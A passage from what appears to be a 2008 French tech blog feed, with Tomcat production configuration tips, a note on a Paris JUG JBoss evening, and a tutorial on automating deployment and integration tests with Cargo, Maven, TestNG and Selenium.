JAVA_HOME=/usr/local/jdk_1.6.0.10/
CATALINA_OPTS=-Xmx512m
CATALINA_HOME=/usr/local/apache-tomcat-6.0.18
CATALINA_BASE=/usr/local/tomcat-instance-01
CATALINA_PID=$CATALINA_BASE/logs/tomcat.pid
</pre><p>Dans cet exemple, un JDK 1.6.0.10 avec 512 Mo de Heap démarre un Tomcat 6.0.18 avec une configuration située sous <code>/usr/local/tomcat-instance-01</code> ; le pid sera stocké sous <code>/logs/tomcat.pid</code>.</p><ul><li>Le port de shutdown de Tomcat existe pour des raisons historiques [1] et présente une faille inutile de sécurité. Il doit être désactivé en précisant le port &laquo;&nbsp;-1&#8243;. On remplacera alors <code>shutdown.sh</code> et <code>catalina.sh stop</code> par le classique <a
href="http://en.wikipedia.org/wiki/Kill_(Unix)" title="kill unix" >kill unix</a>.</li></ul><pre class="brush: java; title: ; notranslate">
&lt;Server port=&quot;-1&quot; shutdown=&quot;SHUTDOWN&quot; &gt;
</pre><ul><li>L&#8217;<a
href="http://tomcat.apache.org/tomcat-6.0-doc/config/valve.html" title="Access Log Valve" >Access Log Valve</a> permet de générer des logs d&#8217;accès similaires à celles d&#8217;Apache. Ces informations sont très importantes pour la supervision et le <em>troubleshooting</em>. L&#8217;<a
href="http://tomcat.apache.org/tomcat-6.0-doc/api/org/apache/catalina/valves/ExtendedAccessLogValve.html" title="ExtendedAccessLogValve" >ExtendedAccessLogValve</a> supporte le <a
href="http://www.w3.org/TR/WD-logfile.html" title="W3C Extended Log File Format" >W3C Extended Log File Format</a> et surtout facilite le <em>troubleshooting</em> en permettant d&#8217;afficher les paramètres et les attributs de requête (même en POST).</li></ul><pre class="brush: java; title: ; notranslate">
&lt;Valve className=&quot;org.apache.catalina.valves.AccessLogValve&quot;
    pattern=&quot;combined&quot; directory=&quot;${catalina.base}/logs&quot; prefix=&quot;tomcat_access_&quot; suffix=&quot;.log&quot; /&gt;
</pre><ul><li>Le fichier <code>catalina.properties</code> permet d&#8217;utiliser des variables de substitution. Exemple avec une variable <code>engine.jvm-route</code> :</li></ul><pre class="brush: java; title: ; notranslate">
&lt;Engine ... jvmRoute=&quot;${engine.jvm-route}&quot;&gt;
</pre><ul><li>Tomcat offre plusieurs méthodes pour déployer les applications (définition de <code>&lt;context&gt;</code> dans server.xml, auto deploy de .war/répertoires/context.xml, déploiement scripté). Si toutes ces options sont utilisables en production, il est important de n&#8217;en utiliser qu&#8217;une seule pour éviter les collisions.</li></ul><p>[1] Les JDK 1.0, 1.1 et 1.2 n&#8217;offraient pas de graceful shutdown. Depuis, le <a
href="http://java.sun.com/developer/TechTips/2000/tt0711.html" title="mécanisme de Shutdown Hook" >mécanisme de Shutdown Hook</a> des JVM permet un arrêt élégant de Tomcat sur commande <code>kill</code>.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="SachaLaboureyauParisJUGmardipo"></a>Sacha Labourey au Paris JUG mardi pour une soirée JBoss</h4><p><a
href="http://www.linkedin.com/ppl/webprofile?action=vmi&#038;id=282026&#038;authToken=Xs-J&#038;authType=name&#038;trk=ppro_viewmore&#038;lnk=vw_pprofile" title="Sacha Labourey" >Sacha Labourey</a>, CTO de JBoss et General Manager de JBoss Europe, présentera JBoss AS 5.0 à la <a
href="http://parisjug.org/xwiki/bin/view/Meeting/20081202" title="soirée JBoss du Paris JUG" >soirée JBoss du Paris JUG</a> mardi 2 décembre. <a
href="http://parisjug.org/xwiki/bin/view/Speaker/SahebMalik" title="Saheb Malik" >Saheb Malik</a>, JBoss France, présentera ensuite JBoss Seam.<br
/> C&#8217;est l&#8217;occasion rêvée de mieux comprendre l&#8217;agenda de JBoss. Nous avons notamment en tête les questions suivantes :</p><ul><li><a
href="http://www.jboss.org/jbossmc/" title="JBoss MicroContainer" >JBoss MicroContainer</a> et OSGi : quel positionnement tenir quand Sun a mis en retrait <a
href="https://hk2.dev.java.net/" title="HK2" >HK2</a> au profit d&#8217;<a
href="http://felix.apache.org/site/index.html" title="Apache Felix" >Apache Felix</a>.</li><li><a
href="http://www.jboss.org/jbossmessaging/" title="JBoss Messaging" >JBoss Messaging</a> vs. <a
href="http://www.redhat.com/mrg/messaging/" title="RedHat MRG" >RedHat MRG</a> : quelles synergies ? Interopérables à l&#8217;instar de <a
href="http://www-01.ibm.com/software/integration/wmq/" title="Websphere MQ" >Websphere MQ</a> (aka MQ Series) et Websphere Embedded Messaging Engine ? <a
href="http://amqp.org/" title="AMQP" >AMQP</a> plaît à RedHat, JBoss est-il aussi intéressé ?</li><li><a
href="http://www.jboss.org/jbossas/" title="JBoss AS 5" >JBoss AS 5</a> : comment le précurseur des implémentations EJB 3 et JPA se retrouve t&#8217;il parmi les retardataires des <a
href="http://java.sun.com/javaee/overview/compatibility.jsp" title="certifiés Java EE 5" >certifiés Java EE 5</a> ? Le chantier de refonte a-t-il été trop ambitieux ?</li><li>Data Grids : pourquoi <a
href="http://www.jgroups.org" title="JGroups" >JGroups</a>, le coeur de communication de <a
href="http://www.jboss.org/jbosscache/" title="JBoss Cache" >JBoss Cache</a> est-il un projet extérieur à JBoss ? Les Data Grids font-elles parties des priorités de JBoss ?</li><li>JBoss, Fondation Apache et brique HTTP de JBoss AS : JBoss semble moins impliqué qu&#8217;auparavant dans Tomcat et vient de lancer son <a
href="http://www.jboss.org/mod_cluster/" title="mod_cluster" >mod_cluster</a> à l&#8217;extérieur du projet <a
href="http://httpd.apache.org/" title="Apache HTTP Server" >Apache HTTP Server</a> et de son <a
href="http://httpd.apache.org/docs/2.2/mod/mod_proxy_balancer.html" title="mod_proxy_balancer" >mod_proxy_balancer</a>. À l&#8217;heure où les <a
href="http://en.wikipedia.org/wiki/Comet_(programming)" title="architectures Comet" >architectures Comet</a> imposent des évolutions importantes des moteurs de Servlet, JBoss compte-t-il s&#8217;éloigner de Tomcat ?</li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>L&#8217;intégration continue avec Cargo</title><link>http://blog.xebia.fr/2008/11/05/lintegration-continue-avec-cargo/</link> <comments>http://blog.xebia.fr/2008/11/05/lintegration-continue-avec-cargo/#comments</comments> <pubDate>Wed, 05 Nov 2008 15:21:17 +0000</pubDate> <dc:creator>Séven Le Mesle</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[cargo]]></category> <category><![CDATA[Intégration]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[Selenium]]></category> <category><![CDATA[TestNG]]></category> <category><![CDATA[Tests]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=956</guid> <description><![CDATA[Dans un projet J2EE, il est toujours utile de pouvoir déployer son application sur un serveur et plus encore pour faire de l&#8217;intégration en continu avec des tests fonctionnels. La plupart du temps, on utilise un serveur dédié pour les tests et les outils livrés avec pour gérer les déploiements. Cargo utilise les outils de [...]]]></description> <content:encoded><![CDATA[<p>Dans un projet J2EE, il est toujours utile de pouvoir déployer son application sur un serveur et plus encore pour faire de l&#8217;intégration en continu avec des tests fonctionnels. La plupart du temps, on utilise un serveur dédié pour les tests et les outils livrés avec pour gérer les déploiements.</p><p>Cargo utilise les outils de chaque serveur et livre une interface unifiée pour administrer les serveurs J2EE. En bref, Cargo permet d&#8217;installer, de configurer, de lancer et d&#8217;arrêter des serveurs dans une approche multi-conteneurs. De plus, on peut enfin l&#8217;utiliser à travers plusieurs outils, puisqu&#8217;il fournit des extensions pour <a
href="http://www.netbeans.org/" title="Netbeans" >Netbeans</a>, <a
href="http://ant.apache.org/" title="Ant" >Ant</a>, <a
href="http://www.jetbrains.com/idea/" title="IntelliJ" >IntelliJ</a>, Maven 1 et 2, et bien sûr une API java.</p><p>Dans cet article, nous présenterons d&#8217;abord Cargo et son fonctionnement, puis un exemple concret d&#8217;intégration continue dans un projet Maven avec Cargo et <a
href="http://selenium.openqa.org/" title="Selenium" >Selenium</a>.</p><h3><a
name="Ouimaispourquoi"></a>Oui mais pourquoi ?</h3><p>Cargo peut être utilisé pour concevoir des outils destinés à simplifier la vie des développeurs, en permettant de mettre en place un serveur J2EE et de déployer ses applications dessus. On peut aussi l&#8217;utiliser pour mettre en place des environnements de tests d&#8217;intégration. À l&#8217;aide du plugin maven, nous allons automatiser l&#8217;installation, la configuration et le lancement d&#8217;un serveur tomcat pour nos tests. L&#8217;avantage principal de cette méthode est de ne plus dépendre du conteneur choisi (dans la limite des versions supportées par Cargo).</p><p>Notez qu&#8217;il est également possible d&#8217;utiliser Cargo pour packager une configuration fonctionnelle complète de votre serveur J2EE, intégrant la ou les archives war/ear à livrer.</p><h3><a
name="Tourdesfonctionnalits"></a>Tour des fonctionnalités</h3><p>Les fonctions de Cargo sont réparties en différents modules regroupant des tâches communes allant de la configuration au déploiement.</p><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2008/11/architecture.jpg"><img
src="http://blog.xebia.fr/wp-content/uploads/2008/11/architecture-300x181.jpg" alt="" title="architecture" width="300" height="181" /></a></div><h4><a
name="Container"></a>Container</h4><p>Dans l&#8217;API, un <em>Container</em> est l&#8217;interface de plus haut niveau englobant un conteneur J2EE. Deux types de conteneur sont disponibles :</p><ul><li>local</li><li>remote</li></ul><p>Le conteneur <strong>local</strong> représente un serveur accessible par le système de fichier local de la machine exécutant Cargo. Il fournit beaucoup de possibilités :</p><ul><li>Configurer le classpath</li><li>Lancer ou arrêter</li><li>Lancer dans la même JVM (uniquement avec <a
href="http://www.mortbay.org" title="Jetty" >Jetty</a>)</li><li>Installer</li></ul><p>Le conteneur <strong>remote</strong> de son côté représente un serveur déjà accessible par le réseau. De ce fait, Cargo ne peut en prendre le contrôle et se contente de permettre le déploiement à distance via un <em>Deployer</em>.</p><h4><a
name="Configuration"></a>Configuration</h4><p>Le module de configuration comme son nom l&#8217;indique permet de configurer un <em>Container</em>. Là encore, ils sont divisés en deux types : les <strong>local</strong> sont accessibles par le système de fichiers et les <strong>runtime</strong> le sont par le réseau.</p><p>En <strong>local</strong>, Cargo prend en charge les configurations existantes d&#8217;un serveur déjà configuré par vos soins ou simplement une configuration standalone qu&#8217;il construira entièrement et surtout indépendamment de vos chères installations.</p><p>La configuration <strong>runtime</strong> permettra de modifier les propriétés administrables du conteneur par le réseau, mais c&#8217;est une coquille vide.</p><h4><a
name="Deployment"></a>Deployment</h4><p>Le module de déploiement, vous l&#8217;aurez deviné, englobe l&#8217;ensemble des fonctionnalités de déploiement. Il se divise en deux sous modules :</p><ul><li>Deployable</li><li>Deployer</li></ul><p>Les <em>Deployable</em> sont les archives WAR ou EAR que l&#8217;on peut utiliser pour faire un déploiement statique. Il s&#8217;agit simplement d&#8217;installer l&#8217;archive dans le dépôt de votre conteneur de manière à ce qu&#8217;elle démarre avec le serveur. Cargo propose des Deployable génériques de type WAR et EAR, mais aussi des extensions spécialisées pour un type de conteneur. Il supporte donc les descripteurs de déploiement spécifiques à chaque serveur.</p><p>On peut aussi passer par un <em>Deployer</em> pour assurer le déploiement à chaud d&#8217;un <em>Deployable</em>. Le <em>Deployer</em> peut-être <strong>local</strong> ou <strong>remote</strong> selon la méthode d&#8217;accès au conteneur utilisé. Attention avec un <em>Deployer</em>, vous pourrez installer et/ou supprimer une archive du serveur cible.</p><h4><a
name="Lesconteneurssupports"></a>Les conteneurs supportés</h4><p>Dans la version stable, qui date de mars 2006, le nombre de conteneurs était déjà important. Mais, on est tout de même forcé de constater que peu de conteneurs à jour sont supportés. Fort heureusement, dans la version alpha du moment, plusieurs serveurs ont fait leur entrée comme Weblogic 9, et JBoss5.</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2008/11/containers.png" border="0" alt="" /></div><p>Dans le cas où votre serveur J2EE n&#8217;est pas listé, il implémente peut-être comme Cargo la <a
href="http://www.jcp.org/en/jsr/detail?id=88" title="JSR88 : Java EE Application Deployment" >JSR88 : Java EE Application Deployment</a>. Si votre serveur est supporté, ne vous réjouissez pas trop vite et vérifiez les fonctions disponibles qui peuvent être restreintes.</p><h3><a
name="CargodansunprojetMaven"></a>Cargo dans un projet Maven</h3><p>Comme on l&#8217;a déjà dit, Cargo fournit un plugin pour Maven 2. Nous allons l&#8217;utiliser dans un projet J2EE pour automatiser les tests d&#8217;intégration. Dans notre cas, il s&#8217;agit de déployer une application web sur un serveur Tomcat frais que l&#8217;on utilisera pour exécuter nos tests avec <a
href="http://selenium.openqa.org/" title="Selenium" >Selenium</a>. Deux configurations de projets sont possibles :</p><ul><li>Module simple avec un packaging de type war.</li><li>Multi-module, avec un pom parent, un module fournissant le war et un dernier contenant les tests d&#8217;intégrations.</li></ul><p>Bien que les deux solutions soient supportées, la version multi-modules est préférable. Elle permet de parfaitement séparer les tests d&#8217;intégrations des tests unitaires. En prime ce type d&#8217;architecture maven est tout simplement une bonne pratique permettant de séparer les différentes couches de l&#8217;application.</p><p>Pour un démarrage rapide et sans Selenium, <a
href="http://cargo.codehaus.org/Maven2+Archetypes" title="Cargo propose deux archétypes" >Cargo propose deux archétypes</a> permettant de générer un projet simple ou multi-modules, avec une configuration fonctionnelle basique pour déployer le war sous Tomcat5x ou Jetty.</p><h4><a
name="Leprojet"></a>Le projet</h4><p>En partant de chacun des deux archétypes Cargo, nous avons configuré <a
href="http://testng.org/" title="TestNG" >TestNG</a> pour dérouler nos tests unitaires et nos tests d&#8217;intégration bénéficiant ainsi de la possibilité de monter des scénarii de tests fonctionnels. Enfin, nous ajouterons Selenium pour parfaire le tout.</p><p>Dans la suite de l&#8217;article, nous baserons nos exemples sur la solution conseillée de type multi-modules.</p><p>Le projet est donc composé comme suit :</p><ul><li>pom parent myapp-multi de type pom.</li><ul><li>module myapp-webapp de type war : contient les sources et tests unitaires de l&#8217;application.</li><li>module myapp-functionnal-tests de type pom : contient uniquement les tests d&#8217;intégrations.</li></ul></ul><h4><a
name="Dployersonapplication"></a>Déployer son application</h4><p>Nous voulons déployer l&#8217;application sur un serveur de qualification quand le build est stable dans notre serveur d&#8217;intégration continue. Le serveur de qualification est un Tomcat 5.5 lancé avec un manager activé. Pour éviter d&#8217;interférer avec le processus normal de construction du module myapp-webapp, nous ajoutons le plugin Cargo dans un profil que nous appelons qualif (-P qualif).</p><pre class="brush: xml; title: ; notranslate">
&lt;profile&gt;
	&lt;id&gt;qualif&lt;/id&gt;
	&lt;build&gt;
		&lt;plugins&gt;
			&lt;plugin&gt;
				&lt;groupId&gt;org.codehaus.cargo&lt;/groupId&gt;
				&lt;artifactId&gt;cargo-maven2-plugin&lt;/artifactId&gt;
				&lt;configuration&gt;
					&lt;wait&gt;false&lt;/wait&gt;
					&lt;container&gt;
						&lt;containerId&gt;tomcat5x&lt;/containerId&gt;
						&lt;type&gt;remote&lt;/type&gt;
					&lt;/container&gt;
					&lt;configuration&gt;
						&lt;properties&gt;
							&lt;cargo.logging&gt;high&lt;/cargo.logging&gt;
							&lt;cargo.servlet.port&gt;8080&lt;/cargo.servlet.port&gt;
							&lt;cargo.remote.username&gt;manager&lt;/cargo.remote.username&gt;
							&lt;cargo.remote.password&gt;tomcat&lt;/cargo.remote.password&gt;
							&lt;cargo.manager.url&gt;http://${qualif.host}:${qualif.port}/manager&lt;/cargo.manager.url&gt;
							&lt;cargo.hostname&gt;${qualif.host}&lt;/cargo.hostname&gt;
						&lt;/properties&gt;
						&lt;type&gt;runtime&lt;/type&gt;
					&lt;/configuration&gt;
					&lt;deployer&gt;
						&lt;type&gt;remote&lt;/type&gt;
						&lt;deployables&gt;
							&lt;deployable&gt;
								&lt;type&gt;war&lt;/type&gt;
								&lt;pingURL&gt;http://${qualif.host}:${qualif.port}/myapp/&lt;/pingURL&gt;
								&lt;pingTimeout&gt;240000&lt;/pingTimeout&gt;
								&lt;properties&gt;
									&lt;context&gt;myapp&lt;/context&gt;
								&lt;/properties&gt;
							&lt;/deployable&gt;
						&lt;/deployables&gt;
					&lt;/deployer&gt;
				&lt;/configuration&gt;
			&lt;/plugin&gt;
		&lt;/plugins&gt;
	&lt;/build&gt;
	&lt;properties&gt;
	&lt;qualif.host&gt;localhost&lt;/qualif.host&gt;
	&lt;qualif.port&gt;8080&lt;/qualif.port&gt;
	&lt;/properties&gt;
&lt;/profile&gt;
</pre><p>Le plugin cargo est importé, sans préciser la version, histoire de récupérer la dernière en date. Il contient trois éléments de configurations :</p><ul><li>container : décrit un conteneur remote de type Tomcat5x.</li><li>configuration : dans l&#8217;ordre, on configure le niveau de verbosité de Cargo, le numéro du port attaché au serveur Tomcat, les login et password utilisés pour s&#8217;authentifier sur Tomcat, l&#8217;url du manager et le nom DNS ou l&#8217;IP de la machine hébergeant le serveur.</li><li>deployer : décrit un deployer de type remote embarquant l&#8217;archive web livrée par notre artefact. Par défaut cargo prend le package livré par le module courant comme deployable. On a juste ajouté un ping pour tester la disponibilité de la page d&#8217;accueil.</li></ul><p><strong>Attention :</strong> on a utilisé des propriétés Maven pour fournir les valeurs de l&#8217;adresse du serveur et de son port.</p><p>Pour tester cette configuration, on peut lancer depuis le module myapp-webapp :</p><pre class="brush: java; title: ; notranslate">
mvn clean package cargo:deployer-redeploy -P qualif
</pre><p>On peut ajouter cette exécution à notre serveur d&#8217;intégration continue pour toujours être sûr de ce que l&#8217;on déploie sur la qualification.</p><h4><a
name="Testsdintgrations"></a>Tests d&#8217;intégrations</h4><p>Pour effectuer les tests, on utilisera :</p><ul><li>TestNG pour organiser les scénarii de tests fonctionnels.</li><li>Cargo bien sûr pour déployer l&#8217;application à tester.</li><li>Selenium pour contrôler le navigateur internet.</li></ul><p>Notez tout de même que nous sommes dans un packaging de type POM et que de ce fait nous devons ajouter explicitement les phases de compilations et d&#8217;exécutions des tests.</p><p><strong></a>TestNG</strong></p><p>Dans le module <strong>myapp-functional-tests</strong>, on souhaite utiliser TestNG. Il faut d&#8217;abord l&#8217;ajouter aux dépendances :</p><pre class="brush: xml; title: ; notranslate">
&lt;dependency&gt;
	&lt;groupId&gt;org.testng&lt;/groupId&gt;
	&lt;artifactId&gt;testng&lt;/artifactId&gt;
	&lt;version&gt;5.1&lt;/version&gt;
	&lt;scope&gt;test&lt;/scope&gt;
	&lt;optional&gt;true&lt;/optional&gt;
	&lt;classifier&gt;jdk15&lt;/classifier&gt;
&lt;/dependency&gt;
</pre><p>Notez seulement l&#8217;élément <strong>classifier</strong> qui active le support Java 5 de TestNG. Nous ajoutons maintenant le compilateur Maven avec la même précision concernant le support Java 5.</p><pre class="brush: xml; title: ; notranslate">
&lt;plugin&gt;
	&lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
	&lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt;
	&lt;executions&gt;
		&lt;execution&gt;
			&lt;goals&gt;
				&lt;goal&gt;testCompile&lt;/goal&gt;
			&lt;/goals&gt;
		&lt;/execution&gt;
	&lt;/executions&gt;
	&lt;configuration&gt;
		&lt;source&gt;1.5&lt;/source&gt;
		&lt;target&gt;1.5&lt;/target&gt;
		&lt;showDeprecation&gt;true&lt;/showDeprecation&gt;
		&lt;showWarnings&gt;true&lt;/showWarnings&gt;
	&lt;/configuration&gt;
&lt;/plugin&gt;
</pre><p>Les éléments <strong>showDeprecation</strong> et <strong>showWarnings</strong> sont là pour le <a
href="http://hudson.gotdns.com/wiki//display/HUDSON/The+Continuous+Integration+Game+plugin" title="jeu de l'intégration continue" >jeu de l&#8217;intégration continue</a> Hudson qu&#8217;on utilise dans le projet. Dans les deux solutions, nous devons ajouter ce mojo pour nous assurer que les annotations TestNG soient bien interprétées par Surefire.</p><p>Ajoutons maintenant le plugin Surefire pour exécuter nos tests en phase d&#8217;intégration.</p><pre class="brush: xml; title: ; notranslate">
&lt;plugin&gt;
	&lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
	&lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt;
	&lt;executions&gt;
		&lt;execution&gt;
			&lt;phase&gt;integration-test&lt;/phase&gt;
			&lt;goals&gt;
				&lt;goal&gt;test&lt;/goal&gt;
			&lt;/goals&gt;
		&lt;/execution&gt;
	&lt;/executions&gt;
&lt;/plugin&gt;
</pre><p>Ici, on associe simplement l&#8217;exécution des tests avec Surefire à la phase d&#8217;intégration Maven. Attention dans un projet monolithique, cette démarche ne fonctionne pas de la même façon. En effet, Maven ne supporte qu&#8217;un répertoire de sources pour les tests. Vous devrez donc séparer les tests unitaires des tests d&#8217;intégrations en différenciant les packages. On peut par exemple utiliser un package <em>fr.mycompany.myapp.it</em> pour contenir nos tests d&#8217;intégrations.</p><p>Il faut utiliser les mécanismes d&#8217;exclusion de Surefire pour la phase de test et la phase de test d&#8217;intégration de Maven :</p><pre class="brush: xml; title: ; notranslate">
&lt;plugin&gt;
	&lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
	&lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt;
	&lt;configuration&gt;
		&lt;!--
 Pour les tests unitaires on exclut tous les tests dans it/**
--&gt;
	&lt;excludes&gt;
		&lt;exclude&gt;**/it/**&lt;/exclude&gt;
	&lt;/excludes&gt;
	&lt;/configuration&gt;
	&lt;executions&gt;
		&lt;execution&gt;
			&lt;id&gt;run-it&lt;/id&gt;
			&lt;phase&gt;integration-test&lt;/phase&gt;
			&lt;goals&gt;
				&lt;goal&gt;test&lt;/goal&gt;
			&lt;/goals&gt;
			&lt;configuration&gt;
				&lt;!--
Pour les tests d'intégrations on inclut seulement les tests dans it/**
		--&gt;
				&lt;excludes&gt;
					&lt;exclude&gt;*&lt;/exclude&gt;
				&lt;/excludes&gt;
				&lt;includes&gt;
					&lt;include&gt;**/it/**&lt;/include&gt;
				&lt;/includes&gt;
			&lt;/configuration&gt;
		&lt;/execution&gt;
	&lt;/executions&gt;
&lt;/plugin&gt;
</pre><p>Et maintenant on ajoute le premier test proprement dit. Il devra toujours passer, pour nous indiquer que tout va bien :</p><pre class="brush: java; title: ; notranslate">
// &lt;strong&gt;.it pour un projet monolithique
package fr.mycompany.myapp;
import static org.testng.Assert.&lt;/strong&gt;;
import org.testng.annotations.Test;
public class PremierTest {
  @Test
  public void shouldPass() {
    assertTrue(true);
  }
}
</pre><p>Pour vérifier le tout, on peut lancer un <strong>mvn install</strong>.  Le test d&#8217;intégration est exécuté avec succès après les tests unitaires.</p><p><strong>Cargo</strong></p><p>Nous allons maintenant ajouter le plugin Cargo pour installer un serveur Tomcat  et y ajouter notre application en déploiement statique. On associe le goal <strong>start</strong> à la phase Maven <strong>pre-integration-test</strong> pour démarrer le serveur avant les tests. Le goal <strong>stop</strong> est associé à la phase <strong>post-integration-test</strong> maven pour arrêter le serveur après les tests.</p><pre class="brush: xml; title: ; notranslate">
&lt;plugin&gt;
	&lt;groupId&gt;org.codehaus.cargo&lt;/groupId&gt;
	&lt;artifactId&gt;cargo-maven2-plugin&lt;/artifactId&gt;
	&lt;configuration&gt;
		&lt;wait&gt;false&lt;/wait&gt;
		&lt;container&gt;
			&lt;containerId&gt;tomcat5x&lt;/containerId&gt;
			&lt;zipUrlInstaller&gt;
				&lt;url&gt;http://www.apache.org/dist/tomcat/tomcat-5/v5.5.27/bin/apache-tomcat-5.5.27.zip
				&lt;/url&gt;
			&lt;/zipUrlInstaller&gt;
		&lt;/container&gt;
		&lt;configuration&gt;
			&lt;deployables&gt;
				&lt;deployable&gt;
					&lt;groupId&gt;fr.mycompany.myapp&lt;/groupId&gt;
					&lt;artifactId&gt;myapp-webapp&lt;/artifactId&gt;
					&lt;type&gt;war&lt;/type&gt;
					&lt;properties&gt;
						&lt;context&gt;myapp&lt;/context&gt;
					&lt;/properties&gt;
				&lt;/deployable&gt;
			&lt;/deployables&gt;
			&lt;properties&gt;
				&lt;cargo.logging&gt;high&lt;/cargo.logging&gt;
				&lt;cargo.servlet.port&gt;9999&lt;/cargo.servlet.port&gt;
			&lt;/properties&gt;
		&lt;/configuration&gt;
	&lt;/configuration&gt;
	&lt;executions&gt;
		&lt;execution&gt;
			&lt;id&gt;start&lt;/id&gt;
			&lt;phase&gt;pre-integration-test&lt;/phase&gt;
			&lt;goals&gt;
				&lt;goal&gt;start&lt;/goal&gt;
			&lt;/goals&gt;
		&lt;/execution&gt;
		&lt;execution&gt;
			&lt;id&gt;stop&lt;/id&gt;
			&lt;phase&gt;post-integration-test&lt;/phase&gt;
			&lt;goals&gt;
				&lt;goal&gt;stop&lt;/goal&gt;
			&lt;/goals&gt;
		&lt;/execution&gt;
	&lt;/executions&gt;
&lt;/plugin&gt;
</pre><p>Cette fois le container est de type <em>installed</em> (valeur par défaut) et utilise un <em>zipUrlInstaller</em> se chargeant d&#8217;installer le serveur tomcat à partir d&#8217;une URL pointant sur le zip de Tomcat 5.5.27.</p><p>On aurait aussi pu passer par une installation existante de Tomcat en utilisant un tag</p><pre class="brush: xml; title: ; notranslate">
&lt;home&gt;chemin répertoire d'installation&lt;/home
</pre><p>à la place du <em>zipUrlInstaller</em>.</p><p>Attention le <em>Deployable</em> utilise l&#8217;artefact <strong>myapp-webapp</strong> qui doit être ajouté dans les dépendances du module <strong>myapp-functional-tests</strong>.<br
/> Notez aussi que le conteneur étant de type <strong>local</strong>, Cargo utilise un déploiement statique sans avoir besoin de décrire le <em>Deployer</em>.</p><p>Dans un projet monolithique, on n&#8217;aura besoin de fournir ni le <em>groupId</em>, ni l&#8217;<em>artefactId</em>.</p><p>Pour tester on peut lancer <strong>mvn install</strong>. Dans la sortie de Maven on verra les traces de démarrage et d&#8217;arrêt du serveur Tomcat avec le déploiement de l&#8217;application <strong>myapp</strong>.</p><p><strong>Selenium</strong></p><p>Tout est prêt pour commencer à vraiment tester notre application avec un navigateur internet. Pour pouvoir utiliser Selenium dans nos tests on doit ajouter le dépôt maven <a
href="http://www.openqa.org/" title="OpenQA" >OpenQA</a> à notre pom parent.</p><pre class="brush: xml; title: ; notranslate">
&lt;repository&gt;
	&lt;id&gt;OpenQA&lt;/id&gt;
	&lt;url&gt;http://archiva.openqa.org/repository/releases/&lt;/url&gt;
&lt;/repository&gt;
</pre><p>Cette fois, nous avons besoin du mojo <strong>selenium-maven-plugin</strong> qui permet de lancer et de stopper le serveur Selenium.</p><pre class="brush: xml; title: ; notranslate">
&lt;plugin&gt;
	&lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt;
	&lt;artifactId&gt;selenium-maven-plugin&lt;/artifactId&gt;
	&lt;executions&gt;
		&lt;execution&gt;
			&lt;id&gt;server&lt;/id&gt;
			&lt;phase&gt;pre-integration-test&lt;/phase&gt;
			&lt;goals&gt;
&lt;!--
Si besoin d'xvfb
						&lt;goal&gt;xvfb&lt;/goal&gt;
	--&gt;
				&lt;goal&gt;start-server&lt;/goal&gt;
			&lt;/goals&gt;
			&lt;configuration&gt;
				&lt;background&gt;true&lt;/background&gt;
			&lt;/configuration&gt;
		&lt;/execution&gt;
		&lt;execution&gt;
			&lt;id&gt;stop&lt;/id&gt;
			&lt;phase&gt;post-integration-test&lt;/phase&gt;
			&lt;goals&gt;
				&lt;goal&gt;stop-server&lt;/goal&gt;
			&lt;/goals&gt;
		&lt;/execution&gt;
	&lt;/executions&gt;
&lt;/plugin&gt;
</pre><p>Nous avons simplement associé le goal <strong>start-server</strong> à la phase <strong>pre-integration-test</strong> pour lancer le serveur Selenium avant d&#8217;exécuter les tests d&#8217;intégrations. Le goal <strong>stop-server</strong> est associé à la phase <strong>post-integration-test</strong> pour arrêter le serveur après l&#8217;exécution des tests.</p><p>Pour ceux qui ont un serveur d&#8217;intégration tournant sous linux vous voudriez sans doute décommenter le goal <em>xvfb</em> pour fournir un environnement graphique virtuel à Selenium.</p><p>Avant de pouvoir utiliser une session Selenium dans nos tests fonctionnels, on doit ajouter l&#8217;API cliente dans les dépendances de notre module.</p><pre class="brush: xml; title: ; notranslate">
&lt;dependency&gt;
	&lt;groupId&gt;org.openqa.selenium.client-drivers&lt;/groupId&gt;
	&lt;artifactId&gt;selenium-java-client-driver&lt;/artifactId&gt;
	&lt;version&gt;1.0-beta-1&lt;/version&gt;
	&lt;scope&gt;test&lt;/scope&gt;
&lt;/dependency&gt;
</pre><p>Ajoutons maintenant une classe pour tester le tout dans notre module de tests ou dans le package <strong>fr.mycompany.myapp.it</strong> pour un projet simple.</p><pre class="brush: java; title: ; notranslate">
package fr.mycompany.myapp;
import org.testng.Assert;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import com.thoughtworks.selenium.DefaultSelenium;
import com.thoughtworks.selenium.Selenium;
@Test
public class WebappTest
{
	private Selenium selenium;
	@BeforeTest
	public void beforeTests(){
		selenium = new DefaultSelenium(&quot;localhost&quot;,4444, &quot;*firefox&quot;, &quot;http://localhost:9999/myapp&quot;);
		selenium.start();
	}
	@AfterTest
	public void afterTests(){
		selenium.stop();
		selenium = null;
	}
	@Test
    public void testCallIndexPage() throws Exception
    {
    	selenium.open(&quot;http://localhost:9999/myapp/index.jsp&quot;);
    	selenium.waitForPageToLoad(&quot;5000&quot;);
    	Assert.assertTrue(selenium.isTextPresent(&quot;Hello World!&quot;));
    	Assert.assertEquals(&quot;Hello&quot;, selenium.getTitle());
    }
}
</pre><p>Pour tester cette dernière étape, il suffit de lancer <strong>mvn install</strong>.  Notre projet supporte maintenant l&#8217;exécution de tests fonctionnels automatisée.<br
/> À partir de notre serveur d&#8217;intégration, nous pouvons maintenant déployer un build stable sur notre plateforme de qualification et exécuter des tests de non-régressions fonctionnelles.</p><h3><a
